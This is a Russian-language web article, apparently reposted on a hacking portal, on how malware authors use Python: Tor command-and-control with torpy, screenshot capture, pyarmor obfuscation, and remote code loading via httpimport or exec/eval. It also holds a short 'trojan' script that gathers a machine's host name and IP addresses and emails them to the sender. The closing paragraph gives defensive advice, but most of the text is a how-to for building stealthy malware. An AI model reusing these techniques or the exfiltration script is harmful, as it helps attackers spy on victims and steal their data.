Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 955

Как написать свой шифровальщик данных на Python

Listen to this article

Чтобы открыть контент, необходимо пройти быструю регистрацию или войти в свой профиль. После этого Вы получите полный доступ ко всем материалам на портале.

Кибер-Грамотность

Спасибо что вы с нами!

ВНИМАНИЕ! Все представленные ссылки в статьях могут вести на вредоносные сайты либо содержать вирусы. Переходите по ним на свой страхъ и риск. Тот кто целенаправлено зашел на статью знает что делает. Не нажимайте на все подряд бездумно.

Некоторые статьи были переведены с английского языка с помощью системы машинного перевода и могут содержать неточности или грамматические ошибки.

ВСЯ РАЗМЕЩЕННАЯ ИНФОРМАЦИЯ НА СТРАНИЦАХ ПОРТАЛА ВЗЯТА ИЗ ОТКРЫТЫХ ИСТОЧНИКОВ

БОЛЬШАЯ ЧАСТЬ ИНФОРМАЦИИ ПРЕДОСТАВЛЯЕТСЯ АБСОЛЮТНО БЕСПЛАТНО


Если Вам понравилась статья — поделитесь с друзьями

38 просмотров

Любая информация, размещенная на сайте https://rucore.net, предназначена только для свободного изучения пользователями сайта. Наша команда прилагает все усилия для того, чтобы предоставить на этом сайте достоверную и полезную информацию, которая отвечает на вопросы пользователей сайта. Ни при каких обстоятельствах Администрация Сайта не несёт ответственности за какой-либо прямой, непрямой, особый или иной косвенный ущерб в результате использования информации на этом Сайте или на любом другом сайте, на который имеется гиперссылка с данного cайта, возникновение зависимости, снижения продуктивности, увольнения или прерывания трудовой активности, а равно отчисления из учебных учреждений, за любую упущенную выгоду, приостановку хозяйственной деятельности, потерю программ или данных в Ваших информационных системах или иным образом, возникшие в связи с доступом, использованием или невозможностью использования Сайта, Содержимого или какого-либо связанного интернет-сайта, или неработоспособностью, ошибкой, упущением, перебоем, дефектом, простоем в работе или задержкой в передаче, компьютерным вирусом или системным сбоем, даже если администрация будет явно поставлена в известность о возможности такого ущерба.

Используя данный Сайт, Вы выражаете свое согласие с «Отказом от ответственности» и установленными Правилами и принимаете всю ответственность, которая может быть на Вас возложена. А так же Вы можете ознакомиться с полной версией данного «отказа от ответственности» и нашей «политики конфиденциальности» по следующей ссылке.

Цель данного раздела сайта

Основной задачей закрытого раздела сайта, является сбор (парсинг) и сохраниение в базе данных наиболее интересных и качественных материалов из разнообразных источников. Более подробней можно ознакомиться по ссылке.

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Понравилась статья? Поделить с друзьями:
  • Как написать вирус под андроид
  • Как написать вирус на языке c
  • Как написать вирус на телефоне
  • Как написать вирус на питоне
  • Как написать вирус на паскале